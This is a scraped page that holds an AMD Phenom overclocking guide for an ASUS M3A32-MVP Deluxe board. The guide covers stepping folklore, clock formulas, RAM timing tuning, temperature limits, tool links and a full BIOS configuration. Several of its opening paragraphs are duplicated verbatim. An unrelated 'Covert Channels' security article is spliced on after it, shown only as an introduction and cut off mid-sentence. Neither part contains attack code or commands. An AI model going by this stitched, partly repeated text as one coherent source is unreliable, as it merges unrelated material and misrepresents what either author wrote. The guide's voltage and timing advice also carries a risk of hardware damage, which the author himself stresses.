What may work for one individual may or may not work for the next…even given the same exact components…just always remember this…sometimes you have to settle for less than what you originally expected - the way to make it ‘ok’ in your head is to remember the ‘no guarantees’ thing…you’ve already got ’something’ for ‘nothing’ if you’ve overclocked *at all*
In overclocking, there are inherent risks. The very fact that you’re playing with voltages and cycles translates into playing with fire - literally. More voltage = more heat. I can’t stress enough the importance of proper temperature monitoring and some real good CPU cooling as well as excellent case cooling.
Steppings:
As I’ve stated in numerous posts, the actual stepping of your CPU is what determines it’s overclockability.
Unless you physically hand-pick one from a store shelf, you’ll get whatever they send you…and that means whatever LOT number is sitting on a warehouse shelf, which has absolutely nothing to do with stepping at all. I’ve found that Newegg usually has the best steppings on hand, but that doesn’t mean that you’ll get one - I went through 4 from Newegg…1 of them was a decent overclocker, 2 of them were *horrible* (2.8GHz was their highest!), and 1 of them was excellent at overclocking (the one I’m still using, and it’s reached 3.675GHz on this board) - not to mention the other 4 that I’ve tested to this point…so only 4 of them in total were stable at 3GHz with 4 of them being unstable at much over 2.8GHz.
I’ve found that Fry’s Electronics often has an excellent selection that you can ‘cherry-pick’…that’s how I got the RAM I have in my rig…they just happened to have revision 1.3 Dominator 8500C5D’s on their shelf (about 4 packages back) - these sticks are stable at well over 1200MHz, but Corsair quit making them a year ago…so only places that have the old stock in their warehouses are actually going to even have access to something like that.
**There is NO way to tell the stepping of a CPU unless you literally pull the CPU out of the socket, clean off the thermal paste, and physically look at the IHS (Integrated Heat Sink) on the top of the CPU itself**
There is no software that can poll this information because this series of numbers/letters is not embedded into any registers anywhere. So, what you’ve seen with CPUz or Everest or any other software - means absolutely nothing.
When I’m talking about a CPU’s stepping, it’s really more than just a series of numbers/letters.
You can break down the stepping numbers/letters on the top of the IHS so that it shows the date the actual chip rolled off the manufacturing line along with what core it has, and the color of the PCB (Printed Circuit Board). This is how important it is to know what you’re getting; very few Phenoms with a stepping of 0810 or before have shown to overclock higher than 2.8GHz. Most good overclocking Phenoms (3.1GHz or above) come from weeks 16, 18, 19, 21, 22 and the weeks that I have skipped are Phenoms that have a rough time reaching 3GHz even with extreme voltage increases. Also, the steppings of AW, GW, and MW have shown to be in the top of the best overclocking CPUs. (highest MHz with the lowest voltage increase)
In overclocking, there are inherent risks. The very fact that you’re playing with voltages and cycles translates into playing with fire - literally. More voltage = more heat. I can’t stress enough the importance of proper temperature monitoring and some real good CPU cooling as well as excellent case cooling.
Steppings:
As I’ve stated in numerous posts, the actual stepping of your CPU is what determines it’s overclockability.
Unless you physically hand-pick one from a store shelf, you’ll get whatever they send you…and that means whatever LOT number is sitting on a warehouse shelf, which has absolutely nothing to do with stepping at all. I’ve found that Newegg usually has the best steppings on hand, but that doesn’t mean that you’ll get one - I went through 4 from Newegg…1 of them was a decent overclocker, 2 of them were *horrible* (2.8GHz was their highest!), and 1 of them was excellent at overclocking (the one I’m still using, and it’s reached 3.675GHz on this board) - not to mention the other 4 that I’ve tested to this point…so only 4 of them in total were stable at 3GHz with 4 of them being unstable at much over 2.8GHz.
I’ve found that Fry’s Electronics often has an excellent selection that you can ‘cherry-pick’…that’s how I got the RAM I have in my rig…they just happened to have revision 1.3 Dominator 8500C5D’s on their shelf (about 4 packages back) - these sticks are stable at well over 1200MHz, but Corsair quit making them a year ago…so only places that have the old stock in their warehouses are actually going to even have access to something like that.
**There is NO way to tell the stepping of a CPU unless you literally pull the CPU out of the socket, clean off the thermal paste, and physically look at the IHS (Integrated Heat Sink) on the top of the CPU itself**
There is no software that can poll this information because this series of numbers/letters is not embedded into any registers anywhere. So, what you’ve seen with CPUz or Everest or any other software - means absolutely nothing.
When I’m talking about a CPU’s stepping, it’s really more than just a series of numbers/letters.
You can break down the stepping numbers/letters on the top of the IHS so that it shows the date the actual chip rolled off the manufacturing line along with what core it has, and the color of the PCB (Printed Circuit Board). This is how important it is to know what you’re getting; very few Phenoms with a stepping of 0810 or before have shown to overclock higher than 2.8GHz. Most good overclocking Phenoms (3.1GHz or above) come from weeks 16, 18, 19, 21, 22 and the weeks that I have skipped are Phenoms that have a rough time reaching 3GHz even with extreme voltage increases. Also, the steppings of AW, GW, and MW have shown to be in the top of the best overclocking CPUs. (highest MHz with the lowest voltage increase)
What we call the ‘Stepping’ is really quite a lot more than that…we can group it into 5 categories from those numbers:
* Core
* Week
* Stepping
* Color of PCB
* Revision
The 2 that are imperative for the Phenom are the Week and the Stepping, the Week that it was created, probably due to the manufacturing process itself (like a ‘Wednesday’s Car’ - a car built on Wednesday used to be the better car because during the middle of the week, no one was looking forward to the party at the end of the week and they had already nursed their hangover from the weekend before Wink)
In any case, if there’s a way to physically hand-pick your CPU from a dealer, that’s what you should do, even if it’s more money - because there’s no way to tell what you’ll get from any online retailer.
Here’s AMD’s ’secret’ overclocking formula (not discovered by me, but rewritten by me to be understandable by the masses: This equation is for the Phenom/AM2/AM2+ architecture, it’s a bit different from the older (pre-K8) architecture in that our HT and NB are now a multiple of the FSB, as well as the divisor ratio is no longer rounded up when landing on a fraction (decimal) of a whole integer.
AMD Overclocking Equation: (applies to K10 architecture - see below for the small changes for older Athlon XP CPUs)
(CPU Multi) * (FSB) = (CPU Freq)
(CPU Multi) / (Memory Divider) = (Divisor Ratio)
(CPU Freq) / (Divisor Ratio) = (RAM MHz) (* 2 = DDR MHz)
(NB Multi) * (FSB) = (NB Freq)[/COLOR][/B]
(HT Multi) * (FSB) = (HT Freq) **
**note: the HT Multi is usually shown as a MHz option rather than a multiplier of the FSB, but in fact, it is a default of 10X the FSB
Also of note is that your HT *MUST* be < or = the resulting NB Frequency or you will not be stable.
** Equation for older AthlonXP up to socket 939 CPUs **
(CPU Multi) * (FSB) = CPU Freq
(CPU Multi) / (Memory Divider) = Divisor Ratio (ALWAYS ROUND UP ON SYSTEMS UP TO SOCKET 939)
(CPU Freq) / (Divisor Ratio) = RAM Freq (* 2 = DDR)
ON OLDER SYSTEMS, HT *MUST* BE EQUAL TO OR LESS THAN 2000MHz, which may require setting a lower HT (4x, 3x, etc. depending on the amount of FSB)
Memory Dividers for use in the equation above (use the value at the end for the equation, use the corresponding value that matches your BIOS while in the BIOS of your motherboard
I have included every conceivable way that these dividers can be displayed for every AM2/AM2+ BIOS. Use the DECIMAL value in the equation above and use one of the corresponding values for your specific BIOS. I’ve only included the 800MHz and the 1066MHz values, as this is what the majority of us are using.
533 = 1066 = 16:6 = 8:3 = (8 / 3 = 2.6666666) = 2.6666666
400 = 800 = 12:6 = 6:3 = (6 / 3 = 2) = 2
** Memory Dividers for use in socket 939 systems and older **
200 = 400 = 1/1 = 1:1 = (1 / 1 = 1) = 1
183 (or 180 on some motherboards) = 366 = 9/10 = 9:10 = (9 / 10 = .9) = .9
166 = 333 = 5/6 = 5:6 = (5 / 6 = .833333) = .833333
133 = 266 = 2/3 = 2:3 = (2 / 3 = .666666) = .666666
100 = 200 = 1/2 = 1:2 = (1 / 2 = .5) = .5
There are footnotes collected from my adventures at the bottom describing some of the more obscure functions and some of the hidden options. Read them carefully, test each config for yourself and decide what works for you.
About MONITORING YOUR TEMPS:
ASUS has a nifty little utility called PCProbe2 that comes on the CD that came with the motherboard… USE IT. I also found that CoreTemp gives a very close reading with the M3A32-MVP Deluxe.
If your temps at *any* time reach into the mid 50*C range, STOP and readdress your CPU and case cooling before continuing any further. (High 60*C is the upper limit, but we don’t need to push it, right?)
Just ensure that you’re using *something* to monitor your temps while spending any time in the overclocking arena!
There are loads of good aftermarket CPU cooling options out there…I personally have the ThermalRight Ultra-120 Extreme, and I’m very pleased with not only it’s performance, but it’s sound level as well (with 2 Scythe S-Flex fans).
Also of importance is your case cooling. Every case I’ve ever had IS NOT pre-setup with what turns out to be the most efficient fan arrangement. It’s up to YOU to decide what fan needs to be where, which direction it should be (pulling air IN or pushing it OUT) and what make/model/CFM/RPM you need. Just be aware that without fresh, cool air coming IN the case, all you’ve got is warmed air to circulate across your CPU’s HS/f, and without adequate EXHAUST, you’ve really just shot yourself in the foot again - BOTH are paramount to a decent overclock (I really can’t stress this enough - MOST people miss case cooling and concentrate solely on their CPU HS/f)
All in all, by the very nature of overclocking, you need to know that you’re taking a risk of exposing specific components to more voltage/heat/cycles than they’re designed to take, which *could* or *may not* lead to their early or eventual demise.
I’m sure most people that will read through all that crap already understand the risks…it’s just pertinent for me to say…I can’t be held liable for any kind of overclock gone wrong.
Some here’s some terminology that we’re going to be familiar with by the end of this post:
TERMINOLOGY and BACKGROUND INFO:
AMD’s HT: HyperTransport (HT), formerly known as Lightning Data Transport (LDT), is a bidirectional serial/parallel high-bandwidth, low-latency computer bus. The HyperTransport Technology Consortium is in charge of promoting and developing HyperTransport technology. The technology is used by AMD and Transmeta in x86 processors, PMC-Sierra and Broadcom in MIPS microprocessors, NVIDIA, Via, SiS, ULi/ALi, and AMD in PC chipsets, Apple Computer and HP in Desktops and notebooks, HP, Sun, IBM, and IWill in servers, Cray in supercomputers, and Cisco Systems in routers.
HyperTransport runs at 200-5200 MHz (compared to PCI at either 33 or 66 MHz). It is also a DDR or “double-data-rate” bus, meaning it sends data on both the rising and falling edges of the 1400 MHz clock signal. This allows for a maximum data rate of 2600 MTransfers/s each direction. The frequency is auto-negotiated, but can be changed via a multiplier, which is a multiple of your FSB.
HyperTransport supports auto-negotiated bus widths, from 2 (bidirectional serial, 1 bit each way) to 32-bit (16 each way) busses are allowed. The full-sized, full-speed 32-bit bus has a transfer rate of 22,400 MByte/s, making it much faster than existing standards. Busses of various widths can be mixed together in a single application, which allows for high speed busses between main memory and the CPU, and lower speed busses to peripherals, as appropriate. The technology also has much lower latency than other solutions.
So, in a nutshell, HT is the bandwidth used between your memory and CPU and the CPU and other peripherals.
AMD’s HTT: (HyperTransport Technology (HTT) - I know, confusing!!!) The A64 has no FSB (or Front Side Bus) as we know it. That’s because the memory controller is built-in to the CPU rather than being on the motherboard. Basically, HyperTransport replaces the FSB.
So raising the HTT is how we raise the CPU cycles…it’s the amount of communication a CPU can push in a given amount of time.
This has reverted (in terminology only) back to FSB with the new boards and new BIOS, probably to make it easier and less confusing. So, HTT = FSB on the new AM2/AM2+ boards.
CPU Multiplier: The CPU multiplier is one way for processors to run much faster than the clock speed of the motherboard or RAM allows. For every tick of the front side bus (FSB) clock, a frequency multiplier causes the CPU to perform x cycles, where x is the multiplier.
For example, if the FSB has a clock speed of 200 MHz and the CPU multiplier is 10x, then the processor would run at 2000MHz or 2.0GHz.
One downside of the multiplier is that it only increases CPU speed. In the previous example there is a multiplier of 10x, but RAM still runs at 200 MHz, so the computer can only access memory at 1/10th of the processor speed, 200 MHz, the speed of the FSB. Because of this, many overclockers prefer to have lower multipliers with higher FSBs.
With the Phenom systems (currently using the 790X and 790FX chipsets) - the CPU Multiplier is really the best way to increase your CPU Frequency. Adding FSB to an already high CPU Multiplier can improve CPU Frequency, but most times leads to instability without lots of voltage to help it out.
Memory Divider: One popular way of overclocking your processor is to increase your FSB. This increases the processor bus, and memory bus equally. In the event that your processor still has the ability to increase in speed, but your memory is maxed out, you would use the memory divider to slow down your memory by running it at a fraction of it’s rated speed. Example: You want to run your FSB at 300Mhz, but your memory maxes at 1066Mhz. Set the FSB to 300Mhz, and the memory divider to 1/2, and the memory will run at 533Mhz. (primitive example, but you should get the idea) – the point here is that running a memory divider *literally* runs your memory at a fraction of its original speed…this is a good thing as we’ll learn later.
Now the fun parts:
** There are 2 ways of overclocking AMD CPUs effectively. We’ll explore the FSB method in detail below, but the easiest way, and often times the most effective way, is by CPU Multiplier increase alone (which may require higher VCORE (CPU Voltage) but nothing else per se.
Overclocking utilizing the CPU Multiplier method of overclocking is very simple:
Increase your default CPU Multiplier until it won’t pass POST, then you may increase the VCORE and try raising it some more. Really, the only thing that is imperative with this type of overclocking, is to ensure your CPU temperature is within normal full-load limits (again, upper 60*C range for Phenom architecture, lower 60*C range for PhenomII architecture)
Very simple, yet effective.
Some of you may find that overclocking via the CPU Multiplier method will yield better results than any other way, and some of you may find that overclocking via the FSB method will yield better results.
It’s really up to you to find out what type of overclocking gives the best results - testing with Everest’s Cache and Memory Benchmark as well as SuperPI are very quick and dirty, but give you a decent idea of throughput vs. other settings.
Here, we’ll explore the FSB method of overclocking in depth:
Finding your maximum values is the first step for a reason - without this base information, you have no idea what’s going to cap out on you and where it’s going to happen…it’s like taking a stab in the dark without even a semblance of an educated guess.
FINDING YOUR MAXIMUM VALUES:
It’s extremely important to find each of your component’s maximum values before attempting any relevant overclock. Without such knowledge, it’s all just a stab in the dark, but with the knowledge of where everything caps out, you have an excellent idea of what you can expect from each individual component.
Now then, here is what I do when beginning a new overclock:
(We’re going to try to find the limit for your motherboard’s FSB first)
Drop the CPU Multiplier to it’s lowest setting
Drop the HT Link Speed to it’s lowest setting
Drop the RAM divider to it’s lowest setting
Begin by raising the FSB (CPU Frequency) in 5 - 10MHz increments - rebooting to POST (Power On Self Test - it’s the very first screen of text in black and white that you see when you first start your computer from an OFF state) in between each change - until it wont POST (Power On Self Test) - note the number as you’ve just found your motherboard’s maximum FSB. This is important, as your motherboard really is a major determining factor on just how far you can overclock your CPU/RAM and other peripherals. I have found my M3A32-MVP Deluxe is capable of 286MHz FSB with all 4 Phenom 9850BE’s that I’ve tested…I know that it would be different for a different architecture CPU.
Drop it down to a comfortable stable level decided on from the equation above.
(yep, we’re going to be using that equation *a lot*, so just get used to it!!!)
CPU Multiplier:
Begin with your RAM at it’s lowest setting, your HT at it’s lowest setting, your NB at it’s lowest setting and your FSB at 200, then begin raising your CPU Multiplier 1 step at a time, rebooting between each change until it fails POST. This is going to be the maximum CPU Multiplier that you’re going to be able to use.
NorthBridge: You can adjust your NB frequency using a multiplier in the BIOS - remember it’s a multiple of the FSB. I’ve found mine to be completely stable at 2600MHz. You’ll have to experiment with the NB voltage to find your full-speed maximum.
Find this by raising it one level and rebooting all the way into Windows, repeating until it won’t boot into Windows.
HT Link Speed Remembering that it’s actually a 10X multiple of your FSB, increasing the FSB also increases your HT. I’ve found mine stable at over 2400MHz, but in conjunction with the NB, it’s stability is capped at 2400MHz when the NB is at 2400MHz or higher. Find this the same way as the NB.
The secret for getting a higher MHz throughput out of the HT is because of the chipset and the options for it.
Higher voltage helps in the stability for higher bandwidth - But you’ve GOT to pay attention to your motherboard temp now! Mine’s sitting at 38*C right now, and doesn’t really get much higher - this is due to adequate case cooling, which I suggest you definitely follow up on!!! (since the Northbridge on the M3A32-MVP Deluxe is passive, it really relies on good airflow around it to keep it cool! - if at any point you feel uncomfortable about the NB reaching into the mid 40*C range, you may want to check into an active cooling, or perhaps just removing the HS assembly and replacing the ASUS thermal gunk with a nice fresh layer of Arctic Silver5 or Ceramique) along with using the crap copper heatsink that came with the board…even though the memory cooling part is useless, the extra copper fins do help to dissipate a lot of the heat generated by the NB.
You can begin playing with the equation above now that you know *most* of the variables and what all your individual component’s maximum values are.
If your temps are good (~50*C or below at FULL LOAD) and your motherboard temps are good (38-44*C) then you can start experimenting with other voltages (NB/HT/PCI PLL, etc.)
(this really becomes nothing more than a balancing act at this point - and it takes time…have patience, take breaks - if you get too frustrated, stop for 10-15 minutes and do something else in a different room…I’m not kidding! I’ve been soooo close to putting my foot all the way through my case that it’s not even funny, so I *know* what I’m talking about - TAKE BREAKS! - oh, and try not to drink alot of coffee, it only will agitate you and make it very aggravating!)
If you’ve made it this far, you’ve just found a *comfortable* level from which to work…now the hard part begins!
RAM Overclocking:
Raise ALL your RAM latencies to 3-4 notches (where possible) above stock SPD for the speed you’ve decided to run.
Leave your voltage where the manufacturer recommends it (don’t go higher - the BIOS text goes red for a reason!) - Later on, you can adjust it up to 2.50V (as a MAX), but you will not need it to be even .01 higher - The point of diminishing returns happens when you’ve exhausted all overclocking attempts and it will not increase no matter how much voltage you throw at it.
Now, starting with the SECOND one (tRAS), drop it one notch and reboot to POST (and I *mean* [1] notch at a time - you do more than that, you’ll find yourself resetting your CMOS twice a much as you’re already going to!!!!), repeating until it will not pass the POST, clear the CMOS if you have to, and raise that one value one notch.
Do the same for ALL the latencies (rebooting to POST in between EACH AND EVERY CHANGE) - leaving tREF at 127.5ns (this will help with stability at higher MHz)
This is a *very* long and arduous process, but the benefit will be more than worth the effort you put into it!
Once you’ve made it this far, try changing the CMD (Command Rate) Timing to 1T and see if it boots all the way into Windows - if not, change it back to 2T. (most sticks won’t run at a 1T CMD Rate on AM2/AM2+, so don’t feel bad - it was worth the try!)
After you’ve found all the lowest latencies for the *comfortable* overclock, you can begin to see if there’s any more…
By raising the CPU voltage, (NEVER HIGHER THAN 1.55V) you can increase stability in your overclock - but it comes at a great price - HEAT. If your CPU gets above 50*C under full load (should be in the 35-42*C range for idle - but load temps are the most important!), you need better cooling, or need to settle on an overclock that utilizes less voltage (which means less FSB and/or higher multiplier and maybe even a different memory divider)
Here are some links to software that you’ll need…you probably don’t need it all as a few are redundant and overkill, but here they are nonetheless.
I’d DEFINITELY pick up OCCT, Orthos, SuperPI, CPU RightMark and RMMA from the Benchmarking section, *everything* from the Monitoring section, then Memset and AMD Overdrive from the MISC section/
Benchmarking Software:
http://www.ocbase.com/perestroika_en/index.php?Download OCCT Perestroïka
http://sp2004.fre3.com/ Orthos StressPRIME 2004
http://files.extremeoverclocking.com/file.php?f=36″]SuperPI[/URL] (use for quick and dirty bench tests to discover if what you did was faster or slower)
http://www.sisoftware.co.uk/index.html?dir=&location=downandbuy&langx=en&a SiSoft Sandra
http://cpu.rightmark.org/ CPU RightMark
http://cpu.rightmark.org/products/rmma.shtml RMMA
http://cpu.rightmark.org/products/ramtester.shtml RAMTester
http://www.wprime.net/ wPrime
http://www.benchmarkhq.ru/gallery/screenshot.php?g2_itemId=940 MaxPi is a newer version of SuperPi coded for multiple core processors, and a relatively new addition to this list - it gives some interesting results, but a certain drawback is that it’s written in Russian…(personally, I will use it once in a while, but when testing if what I changed in BIOS is better or worse for number crunching, I’ll still use SuperPi - it’s quicker and gives results in a language I can understand!)
and then of course the FutureMark line of PC and GPU benchmark products - but I’d only get PCMark Vantage for this…and really, only if you want to. (or optionally, 3DMark Vantage, but then you’re scoring more than just your CPU…)
Monitoring Software:
http://www.techspot.com/downloads/265-asus-pc-probe.html ASUS PCProbe 2
http://www.cpuid.com/cpuz.php CPUz
http://www.lavalys.com/ Everest 4 - also contains a Cache and Memory Benchmark that I use all the time.
http://www.techspot.com/downloads/3118-amd-clock.html AMDClock
http://www.alcpu.com/CoreTemp/ CoreTemp
Calculators and MISC tools:
http://cpu.rightmark.org/products/rmgotcha.shtml RMGotcha
http://www.tweakers.fr/download/MemSet.exe MemSet
http://www.amd.com/us-en/0,,3715_15337_15354_15359,00.html AMD Overdrive
Below is my current overclock using BIOS 1102 - again, DO NOT just input these values into your own, either you’ll not be stable (BEST case scenario) or you’ll fry something altogether - you’ll need to do the legwork yourself for YOUR components.
MAIN
Press F4 and we’ll see some ‘hidden’ settings further in…
(leave all these options at default)
Legacy Diskette A [Disabled] Unless you use a Floppy Drive
Primary IDE Master [Not Detected]
Primary IDE Slave [Not Detected]
SATA1 [Not Detected]
SATA2 [Not Detected]
SATA3 [Not Detected]
SATA4 [Not Detected]
Storage Configuration
On Chip SATA Channel [Enabled]
On Chip SATA Type [IDE]
ADVANCED
.JumperFree Configuration
.AI Overclocking [Manual]
..FSB Frequency [210]
..PCIE Frequency [110] (I wouldn’t experiment much with this one, but some boards do have a ’sweet spot’ between 100 and 115 usually)
..Processor Frequency Multiplier [15.00x]
..Processor Voltage [1.325] - which is actually 1.318 *see footnote 1
..Processor-NB Voltage [Auto] - this supplies extra voltage to the CPU and isn’t necessary unless extreme suicidal overclocking!
..CPU VDDA Voltage [2.6v] (CPU voltage regulation circuits)
..CPU-NB HT Link Speed [2.4GHz] - this has to be proven stable before just jumping into it!
..DDR Voltage [2.10] - set this to your RAM’s specific voltage requirement!
..Northbridge Voltage [Manual]
..Hyper Transport Volatge [Auto]
..Core/PCIe Voltage [Auto] - Voltage supplied to the NB chip itself
..NB PCIE PLL [Auto]
..Southbridge Voltage [Auto]
..Auto Xpress [Enabled]
..CPU Tweak [Enabled]
Memory Configuration
..Bank Interleving [Auto]
..Channel Interleaving XOR of Address bits [20:16,9] - *ONLY* if you’re running more than 2 banks of RAM, else [Disabled]
..MemClk Trisate C3/ATLVID [Disabled] *see footnotes
..Memory Hole Remaping [Enabled]
..DRAM Ganged Mode [Disabled] - you want to run UNganged, no matter what it’s called in your BIOS
..Power Down Enable [Disabled]
..Read Delay [Auto]
..DCQ Bypass Maximum [Auto] - setting to 4 or 6 may help yield stability at high MHz values
.DRAM Timing Configuration
..Memory Clock Mode [Manual]
..Memory Clock Value [1066 MHz]
..2T Mode [Enabled]
..DRAM Timing Mode [Both]
..CAS Latency (CL) [5 CLK]
..TCWL [5 CLK] - lower values equal faster writes, but will cause instability at high MHz
..TRCD [5 CLK]
..TRP [5 CLK]
..TRAS [18 CLK] - bios 1002 and up overrides this setting: If tRTP is set to Auto then -2 from what the setting is. Any other tRTP setting and this is 18 no matter what the setting is.
..tWR [4 CLK]
..tRFC0 [127.5 ns]
..tRFC1 [127.5 ns]
..tRFC2 [127.5 ns]
..tRFC3 [127.5 ns]
…TRC [26 CLK] - BIOS 1002 overrides this setting if tRTP is not on Auto. If tRTP is not on Auto this is 26.
..TRRD [2 CLK]
..tWTR [3 CLK] - BIOS 1002 orverrides this setting if tRTP is not on Auto, the resulting setting will be reduced by 1 otherwise.
..tRTP [2-4 CLK] In bios 0801 anything but auto and TRC and TRAS are overridden, BIOS 902 and higher, 2-4 CLK and TRAS will function as set.
..tRWTTO [4 CLK] - for my memory it is Auto or same as tWR or will not boot.
..tWRRD [Auto]
..tWRWR [Auto]
..tRDRD [Auto]
..PLL1 Spread Spectrum [Disabled]
..PLL2 Spread Spectrum [Disabled]
..AI Clock Skew for Channel A [Auto]
….Current Clock Skew Advance 300ps
..AI Clock Skew for Channel B [Auto]
….Current Clock Skew Advance 450ps
**testing with clock skew will lead to a lot of BSOD’s, but can give a little performance if you hit the sweet spots - ALL sticks will behave differently**
AI Net 2
..Marvell Post LAN cable [Disabled]
CPU Configuration
..GART Error Reporting [Disabled]
..Microcode Updation [Disabled]
..Secure Virtual Machine Mode [Disabled]
..AMD Cool ‘n’ Quiet Function [Enabled] - after extensive testing, I can overclock to my system’s maximum and still have CnQ enabled
..ACPI SRAT Table [Enabled]
..Processor Downcore [Disabled] - this effectively shuts down between 1 and 3 cores
..AMD Live! [Disabled]
Chipset
..Primary Video Controller [PCIE GFX0-GFX2-GPP] - this setting identifies the top blue slot as primary. GFX2 refers to the top black slot (Port #03)
..PCI Express Configuration
..GFX Dual Slot Configuration [Enabled]
..GFX Dual Slot Configuration [Disabled]
..Peer-to-Peer among GFX/GFX2 [Disabled] this setting is for running cards connected to the top blue and black slots on equal status for issuing requests and commands
..GPP Slots Power Limit, W [75] - Maximum wattage that can be supplied through the slot (0-250)
..Port #02 & #03 Features
….Gen2 High Speed Mode [Disabled] found this was the best setting for me according to 3DMark06 - may need to enable for CF
….Link ASPM [Disabled] - ASPM stands for [URL=”http://www.microsoft.com/whdc/connect/pci/aspm.mspx”]Active State Power Mangement[/URL]
….Slot Power Limit, W [75] - Maximum wattage that can be supplied through the slot (0-250)
..Port#04 through #10
….Gen2 High Speed Mode [Disabled]
….Link ASPM [Disabled]
..Port#11 Features Bottom blue slot
….Gen2 High Speed Mode [Disabled] - again, may need to be enabled for CF
….Link ASPM [Disabled]
….Link Width [x16]
….Slot Power Limit, W [25] - Maximum wattage that can be supplied through the slot (0-250)
..NB-SB Port Features
..NB-SB Link ASPM [Disabled]
..NP NB-SB VC1 Traffic Support [Enabled] (virtual channel 1) helps with Isochronous Flow-Control Mode or [Disabled] if not using Isochronous Flow Control, 2xCLK or UnitID Clumping * see footnotes
Hyper Transport Configuration
..Isochronous Flow-Control Mode [Enabled] or [Disabled] if not used in conjunction with the other variables * see footnotes
..HT Link Tristate [CAD/CTL/CLK] or [Disabled] if not used in conjunction with the other variables * see footnotes
..UnitID Clumping [UnitID 2/3&B/C] or [Disabled] if not used in conjunction with the other variables * see footnotes
..2xLCLK Mode [Disabled]
Onboard Devices Configuration
..Onboard Floppy Controller [Disabled] unless you use a Floppy Drive
..Floppy Drive Swap [Disabled] unless you use a Floppy Drive
..Serial Port1 Address [Disabled] unless you use a serial device
..HD Audio Azalia Device [Auto] left at default
..Front Panel Support Type [HD Audio] (neither of these 2 items need to be enabled if you’re using a 3rd party sound card
..1394 [Disabled] unless you use a 1394 device
..WiFi [Disabled] unless you use the WiFi motherboard attachment
..Onboard LAN [Enable]
..Onboard LAN Boot ROM [Disabled]
..Marvell 6111 SATA Controller [Disabled] (found NO use for this and I have 6 HDDs)
..Marvell 6121 SATA Controller [Enable] (all HDDs/DVD drives use this channel)
..Marvell Option ROM [Disabled]
..Primary Display Adapter [PCI-E]
PCI PnP
..Plug and Play OS [No] - let your motherboard decide IRQs for what’s plugged into it, not Windows!
..PCI Latency Timer [64] - higher values may create more stability, but at the cost of increasing PCI bandwidth time
..Allocate IRQ to PCI VGA [Yes]
..Palette Snooping [Disabled]
USB Configuration
..USB Functions [Enabled]
..USB 2.0 Controller [Enabled]
..USB 2.0 Controller Mode [HiSpeed]
..BIOS EHCI Hand-Off [Disabled] - Windows takes care of this for you
..Legacy USB Support [Auto] - no one uses any 1.0 USB anymore, but can cause the system to crash if disabled, Auto will automagically shut-down in the event no 1.0 USB device is found
POWER
..Suspend Mode [Auto]
..Report Video on S3 Resume [No] default
..ACPI 2.0 Support [Enabled] [URL=”http://www.microsoft.com/whdc/system/pnppwr/powermgmt/default.mspx”]ACPI Power Management[/URL] - Required for Cool n Quiet
..ACPI APIC Support [Enabled] [URL=”http://www.techarp.com/showfreebog.aspx?lang=0&bogno=363″]ACPI APIC[/URL]
APM Configuration
all settings left at default
Hardware Monitor
..CPU Fan Warning Speed [Disabled]
..Smart Q-Fan Function [Disabled] this is what the fourth pin is for on four pin fan connectors, so if you use this function, set to [Enabled]
BOOT
..Boot Device Priority
…1st Boot Device [(set to your OS HDD in ‘Hard Disk Drives’)]
…2nd Boot Device [Disabled]
Boot Settings Configuration
..Quick Boot [Enabled] - only set to enabled AFTER you’re done tweaking your overclock!
..Full Screen Logo [Disabled] - because I like to see the POST
..AddOn ROM Display Mode [Force BIOS]
..Bootup Num-Lock [On]
..Wait for ‘F1′ Error [Enabled] - waits for user input in the event of an overclock failure
..Hit ‘DEL’ Message Display [Enabled] - reminds you to push DEL to enter BIOS options
..Chassis Intrusion [Disabled] unless you use this feature with your case
Security
all settings left at default
FOOTNOTES
1) There is a small bug in every version of the M3A32-MVP Deluxe BIOS that UNDER-volts your input. At 1.3V in BIOS, read with any software application (not including AOD) - it will be 1.28V, and the difference increases with the increase in voltage.
2) Isochronous Flow-Control Mode: This has to do with how information is passed between the CPU, the GPU and the RAM along the NorthBridge. It has been a part of the BIOS for HT since AGP 8X, but the option to enable or disable it is a fairly recent addition. When this option is enabled, it assigns the information a number, in the order it was received. Each bit of information is then processed in that order along the route. In toher words, there is no loss of information, but the processing in this orderly manner has drawbacks. If you choose to enable this feature, you will also need to enable UnitID Clumping and then under PCI-E COnfiguraiton and the NB-SB section of the BIOS, VC1 needs to be enabled as well.
3) UnitID Clumping: Simply put, it accounts for not all devices being equally quick at processing information. This allows each device to support a longer waiting line. VC1 accounts for a major drawback of Isochronous Flow-Control mode in that the flow control mode does not allow any information to break line. Everything must wait it’s turn. Therefore, if one piece of info is intended for the CPU and in front of it is info the for GPU, the info for the GPU needs to be processed before the CPU info is processed; plus, if there is a waiting line of info to be processed onthe GPU, the CPU info is held up all that much longer. VC1 comes to the rescue by letting the CPU info break line, bypassing the GPU info jam to join the CPU info queue.
4) Tristating (in all forms): Tristating is a power saving feature in addition to ASPM linking. Whatever sections you want to enable Tristate in, you reduce the energy needed to run that area, but the downside is that you also reduce that area’s performance.
5) 2xLCLK: This setting only affects HT 3.0, so Phenom’s may benefit from it while with Athlon’s, it just does not apply. LCLK stands for Latency Clock. The 2x means that instead of one full bandwidth HT Link you are requesting two half bandwidth HT Links. For performance, at times it is better to have a two lane highway; traffic flowing in both directions at the same time along the same strip of asphalt at 50mph, than it is to have a single lane highway along the same strip of asphalt with traffic lights controlling the directional flow at 100mph.
Hopefully, there’s enough information there to get some of you going, and certainly enough to read more than once, pulling something new each time it’s read.

Covert Channels

2013-05-25T11:33:00.004-07:00

Covert Channels

This is a pretty Old article

Introduction
------------
Security. We all know what "security" entails. But to design a "secure" system,
whether that be an application, a process, a phone line, or even a door locking
system, is a huge resource consuming task that is inevitably doomed from the
beginning.

Security these days is even measured in an ambiguous "better than the other
choice" manner. It's sad really, there's no scale, no proofs, indeed nothing
definite or concrete about it. We simply accept that a this "thing" is secure.
I mean who would want to read my boring e-mail anyway right?

When I read things like the above, I tend to laugh. Sometimes "good enough"
is really "good enough". It's easy to say my server won't get owned when it's
a locked down, minimal app, OpenBSD box with a 28 character user password that
spans 3 character alphabets, sitting behind a firewall that denys all but a
single VPN connection inbound. Isn't it?

Well, today I'm going to describe a method that is often forgotten, ignored,
or just plain never realized by a vast majority of admins that could completely
bypass the security described above depending on your purpose.

They're called covert channels.

What is a Covert Channel?
--------------------------
Imagine you're a scout for an army back in the late 1300s. You've been captured
by the enemy and taken to their great fortress rumored to be impenetrable. There
you've been tossed into a dungeon with no conceivable way of escape. During your
imprisonment, your army shows up and blockades the fortress. You know that any
attempt to siege the fortress is suicide and that your only chance for escape is
the victory of your army. You have one hope - on your trip into the fortress you
noticed a weakness in the fortress, a weakness that if exploited could lead to
victory for your army.

You can't communicate this weakness to the outside. You can't communicate with
anyone. You're locked down with no permissions. What do you do?

Lets say for the sake of argument that your cell has a window and you have the
means to make fire. You could send smoke signals to your army. If the window was
